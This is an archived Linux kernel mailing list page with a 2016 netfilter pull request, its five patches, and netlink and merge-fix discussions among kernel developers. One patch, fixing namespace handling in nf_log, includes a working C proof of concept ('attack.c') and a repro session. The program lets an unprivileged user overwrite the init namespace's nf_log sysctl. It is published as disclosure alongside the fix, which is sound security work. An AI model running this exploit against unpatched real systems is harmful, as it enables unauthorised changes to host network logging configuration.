* Re: [PATCH 0/5] Netfilter fixes for net-next
From: David Miller @ 2016-10-06 0:26 UTC (permalink / raw)
To: pablo; +Cc: netfilter-devel, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Thu, 6 Oct 2016 02:07:44 +0200
> This is a pull request to address fallout from previous nf-next pull
> request, only fixes going on here:
>
> 1) Address a potential null dereference in nf_unregister_net_hook()
> when becomes nf_hook_entry_head is NULL, from Aaron Conole.
>
> 2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.
>
> 3) Fix linking problems in xt_hashlimit in x86_32, from Pai.
>
> 4) Fix permissions of nf_log sysctl from unpriviledge netns, from
> Jann Horn.
>
> 5) Fix possible divide by zero in nft_limit, from Liping Zhang.
>
> You can pull these changes from:
>
> git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git
Pulled, thanks Pablo.
^ permalink raw reply
* Re: [GIT] Networking
From: Pablo Neira Ayuso @ 2016-10-06 0:09 UTC (permalink / raw)
To: Linus Torvalds
Cc: Stephen Rothwell, David Miller, NetFilter, Network Development,
Linux Kernel Mailing List, Liping Zhang
In-Reply-To: <CA+55aFzbHD95PMUk4JQfAVkDDRcwzZ6vfvMR60tZnQNSwkDE6A@mail.gmail.com>
On Wed, Oct 05, 2016 at 03:37:17PM -0700, Linus Torvalds wrote:
> On Wed, Oct 5, 2016 at 3:29 PM, Stephen Rothwell <sfr@canb.auug.org.au> wrote:
> >
> > I have been carrying the following merge fix patch (for the merge of
> > the net-next tree with Linus' tree) for a while now which seems to have
> > got missed:
>
> Ugh. It doesn't seem to be a merge error, because that double iph
> assignment came from the original patch that introduced this function:
> commit ddc8b6027ad0 ("netfilter: introduce nft_set_pktinfo_{ipv4,
> ipv6}_validate()").
>
> So I wouldn't call it a merge error - it just looks like a bug in the
> network layer. So I'm not going to apply your patch even though it
> looks plausible to me, simply because it's outside my area of
> expertise.
>
> David? Pablo?
This looks good, please take it so we speed up things.
Acked-by: Pablo Neira Ayuso <pablo@netfilter.org>
Thanks!
P.S: Sorry for not addressing this any sooner, traveling overhead,
conferente and unstable wifi connection has been a problem here.
^ permalink raw reply
* [PATCH 1/5] netfilter: Fix potential null pointer dereference
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Aaron Conole <aconole@bytheb.org>
It's possible for nf_hook_entry_head to return NULL. If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.
This fix ensures that no null pointer dereference could occur when such
a condition happens.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/netfilter/core.c b/net/netfilter/core.c
index fa6715db4581..e3f68a786afe 100644
--- a/net/netfilter/core.c
+++ b/net/netfilter/core.c
@@ -160,7 +160,7 @@ void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *reg)
mutex_lock(&nf_hook_mutex);
hooks_entry = nf_hook_entry_head(net, reg);
- if (hooks_entry->orig_ops == reg) {
+ if (hooks_entry && hooks_entry->orig_ops == reg) {
nf_set_hooks_head(net, reg,
nf_entry_dereference(hooks_entry->next));
goto unlock;
--
2.1.4
^ permalink raw reply related
* [PATCH 5/5] netfilter: nft_limit: fix divided by zero panic
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Liping Zhang <liping.zhang@spreadtrum.com>
After I input the following nftables rule, a panic happened on my system:
# nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second
divide error: 0000 [#1] SMP
[ ... ]
RIP: 0010:[<ffffffffa059035e>] [<ffffffffa059035e>]
nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit]
Call Trace:
[<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
[<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat]
[<ffffffff81753767>] ? ipt_do_table+0x327/0x610
[<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
[<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
[<ffffffff816f4aa2>] nf_iterate+0x62/0x80
[<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
[<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0
[<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0
[<ffffffff81703d3c>] ip_local_out+0x1c/0x40
This is because divisor is 64-bit, but we treat it as a 32-bit integer,
then 0xf00000000 becomes zero, i.e. divisor becomes 0.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/nft_limit.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/net/netfilter/nft_limit.c b/net/netfilter/nft_limit.c
index 070b98938e02..c6baf412236d 100644
--- a/net/netfilter/nft_limit.c
+++ b/net/netfilter/nft_limit.c
@@ -145,7 +145,7 @@ static int nft_limit_pkts_init(const struct nft_ctx *ctx,
if (err < 0)
return err;
- priv->cost = div_u64(priv->limit.nsecs, priv->limit.rate);
+ priv->cost = div64_u64(priv->limit.nsecs, priv->limit.rate);
return 0;
}
@@ -170,7 +170,7 @@ static void nft_limit_pkt_bytes_eval(const struct nft_expr *expr,
const struct nft_pktinfo *pkt)
{
struct nft_limit *priv = nft_expr_priv(expr);
- u64 cost = div_u64(priv->nsecs * pkt->skb->len, priv->rate);
+ u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);
if (nft_limit_eval(priv, cost))
regs->verdict.code = NFT_BREAK;
--
2.1.4
^ permalink raw reply related
* [PATCH 4/5] netfilter: fix namespace handling in nf_log_proc_dostring
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Jann Horn <jann@thejh.net>
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/nf_log.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c
index 30a17d649a83..3dca90dc24ad 100644
--- a/net/netfilter/nf_log.c
+++ b/net/netfilter/nf_log.c
@@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,
char buf[NFLOGGER_NAME_LEN];
int r = 0;
int tindex = (unsigned long)table->extra1;
- struct net *net = current->nsproxy->net_ns;
+ struct net *net = table->extra2;
if (write) {
struct ctl_table tmp = *table;
@@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net)
3, "%d", i);
nf_log_sysctl_table[i].procname =
nf_log_sysctl_fnames[i];
- nf_log_sysctl_table[i].data = NULL;
nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
nf_log_sysctl_table[i].mode = 0644;
nf_log_sysctl_table[i].proc_handler =
@@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net)
}
}
+ for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
+ table[i].extra2 = net;
+
net->nf.nf_log_dir_header = register_net_sysctl(net,
"net/netfilter/nf_log",
table);
--
2.1.4
^ permalink raw reply related
* [PATCH 3/5] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Vishwanath Pai <vpai@akamai.com>
Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64
Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/xt_hashlimit.c | 15 ++++++++-------
1 file changed, 8 insertions(+), 7 deletions(-)
diff --git a/net/netfilter/xt_hashlimit.c b/net/netfilter/xt_hashlimit.c
index 44a095ecc7b7..2fab0c65aa94 100644
--- a/net/netfilter/xt_hashlimit.c
+++ b/net/netfilter/xt_hashlimit.c
@@ -467,17 +467,18 @@ static u64 user2credits(u64 user, int revision)
/* If multiplying would overflow... */
if (user > 0xFFFFFFFF / (HZ*CREDITS_PER_JIFFY_v1))
/* Divide first. */
- return (user / XT_HASHLIMIT_SCALE) *\
- HZ * CREDITS_PER_JIFFY_v1;
+ return div64_u64(user, XT_HASHLIMIT_SCALE)
+ * HZ * CREDITS_PER_JIFFY_v1;
- return (user * HZ * CREDITS_PER_JIFFY_v1) \
- / XT_HASHLIMIT_SCALE;
+ return div64_u64(user * HZ * CREDITS_PER_JIFFY_v1,
+ XT_HASHLIMIT_SCALE);
} else {
if (user > 0xFFFFFFFFFFFFFFFF / (HZ*CREDITS_PER_JIFFY))
- return (user / XT_HASHLIMIT_SCALE_v2) *\
- HZ * CREDITS_PER_JIFFY;
+ return div64_u64(user, XT_HASHLIMIT_SCALE_v2)
+ * HZ * CREDITS_PER_JIFFY;
- return (user * HZ * CREDITS_PER_JIFFY) / XT_HASHLIMIT_SCALE_v2;
+ return div64_u64(user * HZ * CREDITS_PER_JIFFY,
+ XT_HASHLIMIT_SCALE_v2);
}
}
--
2.1.4
^ permalink raw reply related
* [PATCH 2/5] netfilter: accommodate different kconfig in nf_set_hooks_head
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
In-Reply-To: <1475712469-17000-1-git-send-email-pablo@netfilter.org>
From: Aaron Conole <aconole@bytheb.org>
When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook. This
releases the entry during the set.
Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
net/netfilter/core.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
diff --git a/net/netfilter/core.c b/net/netfilter/core.c
index e3f68a786afe..c9d90eb64046 100644
--- a/net/netfilter/core.c
+++ b/net/netfilter/core.c
@@ -90,10 +90,12 @@ static void nf_set_hooks_head(struct net *net, const struct nf_hook_ops *reg,
{
switch (reg->pf) {
case NFPROTO_NETDEV:
+#ifdef CONFIG_NETFILTER_INGRESS
/* We already checked in nf_register_net_hook() that this is
* used from ingress.
*/
rcu_assign_pointer(reg->dev->nf_hooks_ingress, entry);
+#endif
break;
default:
rcu_assign_pointer(net->nf.hooks[reg->pf][reg->hooknum],
@@ -107,10 +109,15 @@ int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg)
struct nf_hook_entry *hooks_entry;
struct nf_hook_entry *entry;
- if (reg->pf == NFPROTO_NETDEV &&
- (reg->hooknum != NF_NETDEV_INGRESS ||
- !reg->dev || dev_net(reg->dev) != net))
- return -EINVAL;
+ if (reg->pf == NFPROTO_NETDEV) {
+#ifndef CONFIG_NETFILTER_INGRESS
+ if (reg->hooknum == NF_NETDEV_INGRESS)
+ return -EOPNOTSUPP;
+#endif
+ if (reg->hooknum != NF_NETDEV_INGRESS ||
+ !reg->dev || dev_net(reg->dev) != net)
+ return -EINVAL;
+ }
entry = kmalloc(sizeof(*entry), GFP_KERNEL);
if (!entry)
--
2.1.4
^ permalink raw reply related
* [PATCH 0/5] Netfilter fixes for net-next
From: Pablo Neira Ayuso @ 2016-10-06 0:07 UTC (permalink / raw)
To: netfilter-devel; +Cc: davem, netdev
Hi David,
This is a pull request to address fallout from previous nf-next pull
request, only fixes going on here:
1) Address a potential null dereference in nf_unregister_net_hook()
when becomes nf_hook_entry_head is NULL, from Aaron Conole.
2) Missing ifdef for CONFIG_NETFILTER_INGRESS, also from Aaron.
3) Fix linking problems in xt_hashlimit in x86_32, from Pai.
4) Fix permissions of nf_log sysctl from unpriviledge netns, from
Jann Horn.
5) Fix possible divide by zero in nft_limit, from Liping Zhang.
You can pull these changes from:
git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git
P.S: Sorry for not addressing this any sooner, a mixture of traveling
overhead, conference and problems with wifi connection has prevented me
to do this any sooner.
Thanks!
----------------------------------------------------------------
The following changes since commit 803783849fed11e38a30f31932c02c815520da70:
mlx5: Add ndo_poll_controller() implementation (2016-09-30 02:11:16 -0400)
are available in the git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next.git HEAD
for you to fetch changes up to 2fa46c130193300f06e68727ae98ec9f6184cad4:
netfilter: nft_limit: fix divided by zero panic (2016-10-04 08:59:03 +0200)
----------------------------------------------------------------
Aaron Conole (2):
netfilter: Fix potential null pointer dereference
netfilter: accommodate different kconfig in nf_set_hooks_head
Jann Horn (1):
netfilter: fix namespace handling in nf_log_proc_dostring
Liping Zhang (1):
netfilter: nft_limit: fix divided by zero panic
Vishwanath Pai (1):
netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division
net/netfilter/core.c | 17 ++++++++++++-----
net/netfilter/nf_log.c | 6 ++++--
net/netfilter/nft_limit.c | 4 ++--
net/netfilter/xt_hashlimit.c | 15 ++++++++-------
4 files changed, 26 insertions(+), 16 deletions(-)
^ permalink raw reply
* Re: [PATCH net] netlink: do not enter direct reclaim from netlink_dump()
From: Alexei Starovoitov @ 2016-10-05 23:59 UTC (permalink / raw)
To: Eric Dumazet
Cc: David Miller, netdev, Alexei Starovoitov, Greg Thelen,
Chris Mason, kernel-team
In-Reply-To: <1475710211.28155.232.camel@edumazet-glaptop3.roam.corp.google.com>
On Thu, Oct 06, 2016 at 08:30:11AM +0900, Eric Dumazet wrote:
> On Wed, 2016-10-05 at 15:24 -0700, Alexei Starovoitov wrote:
> > On Thu, Oct 06, 2016 at 04:13:18AM +0900, Eric Dumazet wrote:
> > >
> > > While we are at it, since we do an order-3 allocation, allow to use
> > > all the allocated bytes instead of 16384 to reduce syscalls during
> > > large dumps.
> > >
> > > iproute2 already uses 32KB recvmsg() buffer sizes.
> > ....
> > > diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
> > > index 627f898c05b96552318a881ce995ccc3342e1576..62bea4591054820eb516ef016214ee23fe89b6e9 100644
> > > --- a/net/netlink/af_netlink.c
> > > +++ b/net/netlink/af_netlink.c
> > > @@ -1832,7 +1832,7 @@ static int netlink_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
> > > /* Record the max length of recvmsg() calls for future allocations */
> > > nlk->max_recvmsg_len = max(nlk->max_recvmsg_len, len);
> > > nlk->max_recvmsg_len = min_t(size_t, nlk->max_recvmsg_len,
> > > - 16384);
> > > + SKB_WITH_OVERHEAD(32768));
> >
> > sure, it won't stress it more than what it is today, but why increase it?
> > iproute2 increased the buffer form 16k to 32k due to 'msg_trunc' which
> > I think was due to this issue. If we go with SKB_WITH_OVERHEAD(16384)
> > we can go back to 16k in iproute2 as well.
> >
> > Do we have any data to justify that buffer of 32k - skb_shared_info vs 16k
> > will meaninfully reduce the number of syscalls?
> > We're seeing direct reclaim get hammered due to order-3.
> > Not sure whether & ~__GFP_DIRECT_RECLAIM is going to be enough.
>
> It is. Really.
>
> > Currently we're testing with SKB_WITH_OVERHEAD(16384) and ~__GFP_DIRECT_RECLAIM.
> > It will take another week to make sure SKB_WITH_OVERHEAD(32768) is ok.
> > imo this optimization is done too soon.
> > I'd much more comfortable with SKB_WITH_OVERHEAD(16384) value here.
>
> Well, we _are_ allocating order-3 pages already.
>
> No need to switch to order-2 pages, when we have the proper fix.
>
> Note that tcp_sendmsg() does this all the time, and nobody complained
> after Shaohua Li fix (commit fb05e7a89f500cf "net: don't wait for
> order-3 page allocation")
>
> Why thousands of sockets could use order-3 pages, but constrain _one_
> (rtnl serializations) iproute2 dump to use tiny blocs exactly ?
Good point. Large tcp_sendmsg() should be stressing mm
with order-3 more than netlink polling once a second
that some application do with 'ss' or 'tc -s show'
> Really there is no point being cautious here.
I guess I'm being too paranoid. If we discover issues
with SKB_WITH_OVERHEAD(32768), we can adjust it later, so
Acked-by: Alexei Starovoitov <ast@kernel.org>
^ permalink raw reply
* Re: [PATCH net] netlink: do not enter direct reclaim from netlink_dump()
From: Alexei Starovoitov @ 2016-10-05 23:44 UTC (permalink / raw)
To: Eric Dumazet
Cc: David Miller, netdev, Alexei Starovoitov, Greg Thelen,
Chris Mason, kernel-team
In-Reply-To: <1475710521.28155.234.camel@edumazet-glaptop3.roam.corp.google.com>
On Thu, Oct 06, 2016 at 08:35:21AM +0900, Eric Dumazet wrote:
> On Wed, 2016-10-05 at 15:24 -0700, Alexei Starovoitov wrote:
> > On Thu, Oct 06, 2016 at 04:13:18AM +0900, Eric Dumazet wrote:
> > >
> > > While we are at it, since we do an order-3 allocation, allow to use
> > > all the allocated bytes instead of 16384 to reduce syscalls during
> > > large dumps.
> > >
> > > iproute2 already uses 32KB recvmsg() buffer sizes.
> > ....
> > > diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
> > > index 627f898c05b96552318a881ce995ccc3342e1576..62bea4591054820eb516ef016214ee23fe89b6e9 100644
> > > --- a/net/netlink/af_netlink.c
> > > +++ b/net/netlink/af_netlink.c
> > > @@ -1832,7 +1832,7 @@ static int netlink_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
> > > /* Record the max length of recvmsg() calls for future allocations */
> > > nlk->max_recvmsg_len = max(nlk->max_recvmsg_len, len);
> > > nlk->max_recvmsg_len = min_t(size_t, nlk->max_recvmsg_len,
> > > - 16384);
> > > + SKB_WITH_OVERHEAD(32768));
> >
> > sure, it won't stress it more than what it is today, but why increase it?
> > iproute2 increased the buffer form 16k to 32k due to 'msg_trunc' which
> > I think was due to this issue. If we go with SKB_WITH_OVERHEAD(16384)
> > we can go back to 16k in iproute2 as well.
>
> Wow, if really iproute2 tool would have increased the buffer to work
> around a bug in the kernel, we should be worried.
>
> Hopefully the issue was fixed for good in the kernel ?
>
> commit db65a3aaf29ecce2e34271d52e8d2336b97bd9fe
> ("netlink: Trim skb to alloc size to avoid MSG_TRUNC")
I would think so too, but
iproute2 'fix' 72b365e8e0fd ("libnetlink: Double the dump buffer size")
was on Mar 4, 2016
whereas above 'netlink: trim' fix is on Oct 15, 2015
^ permalink raw reply
* Re: [PATCH net] netlink: do not enter direct reclaim from netlink_dump()
From: Eric Dumazet @ 2016-10-05 23:35 UTC (permalink / raw)
To: Alexei Starovoitov
Cc: David Miller, netdev, Alexei Starovoitov, Greg Thelen,
Chris Mason, kernel-team
In-Reply-To: <20161005222438.GA86006@ast-mbp.thefacebook.com>
On Wed, 2016-10-05 at 15:24 -0700, Alexei Starovoitov wrote:
> On Thu, Oct 06, 2016 at 04:13:18AM +0900, Eric Dumazet wrote:
> >
> > While we are at it, since we do an order-3 allocation, allow to use
> > all the allocated bytes instead of 16384 to reduce syscalls during
> > large dumps.
> >
> > iproute2 already uses 32KB recvmsg() buffer sizes.
> ....
> > diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
> > index 627f898c05b96552318a881ce995ccc3342e1576..62bea4591054820eb516ef016214ee23fe89b6e9 100644
> > --- a/net/netlink/af_netlink.c
> > +++ b/net/netlink/af_netlink.c
> > @@ -1832,7 +1832,7 @@ static int netlink_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
> > /* Record the max length of recvmsg() calls for future allocations */
> > nlk->max_recvmsg_len = max(nlk->max_recvmsg_len, len);
> > nlk->max_recvmsg_len = min_t(size_t, nlk->max_recvmsg_len,
> > - 16384);
> > + SKB_WITH_OVERHEAD(32768));
>
> sure, it won't stress it more than what it is today, but why increase it?
> iproute2 increased the buffer form 16k to 32k due to 'msg_trunc' which
> I think was due to this issue. If we go with SKB_WITH_OVERHEAD(16384)
> we can go back to 16k in iproute2 as well.
Wow, if really iproute2 tool would have increased the buffer to work
around a bug in the kernel, we should be worried.
Hopefully the issue was fixed for good in the kernel ?
commit db65a3aaf29ecce2e34271d52e8d2336b97bd9fe
("netlink: Trim skb to alloc size to avoid MSG_TRUNC")
^ permalink raw reply
* Re: [PATCH net] netlink: do not enter direct reclaim from netlink_dump()
From: Eric Dumazet @ 2016-10-05 23:30 UTC (permalink / raw)
To: Alexei Starovoitov
Cc: David Miller, netdev, Alexei Starovoitov, Greg Thelen,
Chris Mason, kernel-team
In-Reply-To: <20161005222438.GA86006@ast-mbp.thefacebook.com>
On Wed, 2016-10-05 at 15:24 -0700, Alexei Starovoitov wrote:
> On Thu, Oct 06, 2016 at 04:13:18AM +0900, Eric Dumazet wrote:
> >
> > While we are at it, since we do an order-3 allocation, allow to use
> > all the allocated bytes instead of 16384 to reduce syscalls during
> > large dumps.
> >
> > iproute2 already uses 32KB recvmsg() buffer sizes.
> ....
> > diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
> > index 627f898c05b96552318a881ce995ccc3342e1576..62bea4591054820eb516ef016214ee23fe89b6e9 100644
> > --- a/net/netlink/af_netlink.c
> > +++ b/net/netlink/af_netlink.c
> > @@ -1832,7 +1832,7 @@ static int netlink_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
> > /* Record the max length of recvmsg() calls for future allocations */
> > nlk->max_recvmsg_len = max(nlk->max_recvmsg_len, len);
> > nlk->max_recvmsg_len = min_t(size_t, nlk->max_recvmsg_len,
> > - 16384);
> > + SKB_WITH_OVERHEAD(32768));
>
> sure, it won't stress it more than what it is today, but why increase it?
> iproute2 increased the buffer form 16k to 32k due to 'msg_trunc' which
> I think was due to this issue. If we go with SKB_WITH_OVERHEAD(16384)
> we can go back to 16k in iproute2 as well.
>
> Do we have any data to justify that buffer of 32k - skb_shared_info vs 16k
> will meaninfully reduce the number of syscalls?
> We're seeing direct reclaim get hammered due to order-3.
> Not sure whether & ~__GFP_DIRECT_RECLAIM is going to be enough.
It is. Really.
> Currently we're testing with SKB_WITH_OVERHEAD(16384) and ~__GFP_DIRECT_RECLAIM.
> It will take another week to make sure SKB_WITH_OVERHEAD(32768) is ok.
> imo this optimization is done too soon.
> I'd much more comfortable with SKB_WITH_OVERHEAD(16384) value here.
Well, we _are_ allocating order-3 pages already.
No need to switch to order-2 pages, when we have the proper fix.
Note that tcp_sendmsg() does this all the time, and nobody complained
after Shaohua Li fix (commit fb05e7a89f500cf "net: don't wait for
order-3 page allocation")
Why thousands of sockets could use order-3 pages, but constrain _one_
(rtnl serializations) iproute2 dump to use tiny blocs exactly ?
The rationale for order-3 is pretty clear :
#define PAGE_ALLOC_COSTLY_ORDER 3
Really there is no point being cautious here.
^ permalink raw reply
* Re: [GIT] Networking
From: Linus Torvalds @ 2016-10-05 22:37 UTC (permalink / raw)
To: Stephen Rothwell
Cc: David Miller, NetFilter, Network Development,
Linux Kernel Mailing List, Pablo Neira Ayuso, Liping Zhang
In-Reply-To: <20161006092947.25ae781c@canb.auug.org.au>
On Wed, Oct 5, 2016 at 3:29 PM, Stephen Rothwell <sfr@canb.auug.org.au> wrote:
>
> I have been carrying the following merge fix patch (for the merge of
> the net-next tree with Linus' tree) for a while now which seems to have
> got missed:
Ugh. It doesn't seem to be a merge error, because that double iph
assignment came from the original patch that introduced this function:
commit ddc8b6027ad0 ("netfilter: introduce nft_set_pktinfo_{ipv4,
ipv6}_validate()").
So I wouldn't call it a merge error - it just looks like a bug in the
network layer. So I'm not going to apply your patch even though it
looks plausible to me, simply because it's outside my area of
expertise.
David? Pablo?
Linus
^ permalink raw reply
* Re: [GIT] Networking
From: Stephen Rothwell @ 2016-10-05 22:29 UTC (permalink / raw)
To: David Miller, torvalds
Cc: NetFilter, netdev, linux-kernel, Pablo Neira Ayuso, Liping Zhang
In-Reply-To: <20161005.014437.1946431553783736769.davem@davemloft.net>
Hi Linus, Dave,
On Wed, 05 Oct 2016 01:44:37 -0400 (EDT) David Miller <davem@davemloft.net> wrote:
>
I have been carrying the following merge fix patch (for the merge of
the net-next tree with Linus' tree) for a while now which seems to have
got missed:
From: Stephen Rothwell <sfr@canb.auug.org.au>
Date: Tue, 13 Sep 2016 10:08:58 +1000
Subject: [PATCH] netfilter: merge fixup for "nf_tables_netdev: remove redundant ip_hdr assignment"
Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
---
include/net/netfilter/nf_tables_ipv4.h | 1 -
1 file changed, 1 deletion(-)
diff --git a/include/net/netfilter/nf_tables_ipv4.h b/include/net/netfilter/nf_tables_ipv4.h
index 968f00b82fb5..25e33aee91e7 100644
--- a/include/net/netfilter/nf_tables_ipv4.h
+++ b/include/net/netfilter/nf_tables_ipv4.h
@@ -33,7 +33,6 @@ __nft_set_pktinfo_ipv4_validate(struct nft_pktinfo *pkt,
if (!iph)
return -1;
- iph = ip_hdr(skb);
if (iph->ihl < 5 || iph->version != 4)
return -1;
--
2.8.1
--
Cheers,
Stephen Rothwell
^ permalink raw reply related
* Re: [PATCH] bluetooth.h: __ variants of u8 and friends are not neccessary inside kernel
From: Joe Perches @ 2016-10-05 22:28 UTC (permalink / raw)
To: Pavel Machek
Cc: Marcel Holtmann, Gustavo F. Padovan, Johan Hedberg,
David S. Miller, linux-bluetooth, netdev, linux-kernel
In-Reply-To: <20161005221317.GA21551@amd>
On Thu, 2016-10-06 at 00:13 +0200, Pavel Machek wrote:
> On Wed 2016-10-05 12:15:34, Joe Perches wrote:
> > On Wed, 2016-10-05 at 21:11 +0200, Pavel Machek wrote:
> > > On Wed 2016-10-05 10:53:16, Joe Perches wrote:
[]
> > > > trivia:
> > > > It's generally faster to use bool instead of u8 foo:1;
> > > Ok, but I'm not changing that in this patch.
> > > (And actually, bool will take a lot more memory, right?)
> > No worries, and bool is the same size as u8.
> Exactly what I'm talking about :-). One byte vs. one bit, right?
Memory isn't bit addressable.
So it's the same byte, it just doesn't use a read/modify/write
operation to update a value.
^ permalink raw reply
* Re: [PATCH net] netlink: do not enter direct reclaim from netlink_dump()
From: Alexei Starovoitov @ 2016-10-05 22:24 UTC (permalink / raw)
To: Eric Dumazet
Cc: David Miller, netdev, Alexei Starovoitov, Greg Thelen,
Chris Mason, kernel-team
In-Reply-To: <1475694798.28155.215.camel@edumazet-glaptop3.roam.corp.google.com>
On Thu, Oct 06, 2016 at 04:13:18AM +0900, Eric Dumazet wrote:
>
> While we are at it, since we do an order-3 allocation, allow to use
> all the allocated bytes instead of 16384 to reduce syscalls during
> large dumps.
>
> iproute2 already uses 32KB recvmsg() buffer sizes.
....
> diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
> index 627f898c05b96552318a881ce995ccc3342e1576..62bea4591054820eb516ef016214ee23fe89b6e9 100644
> --- a/net/netlink/af_netlink.c
> +++ b/net/netlink/af_netlink.c
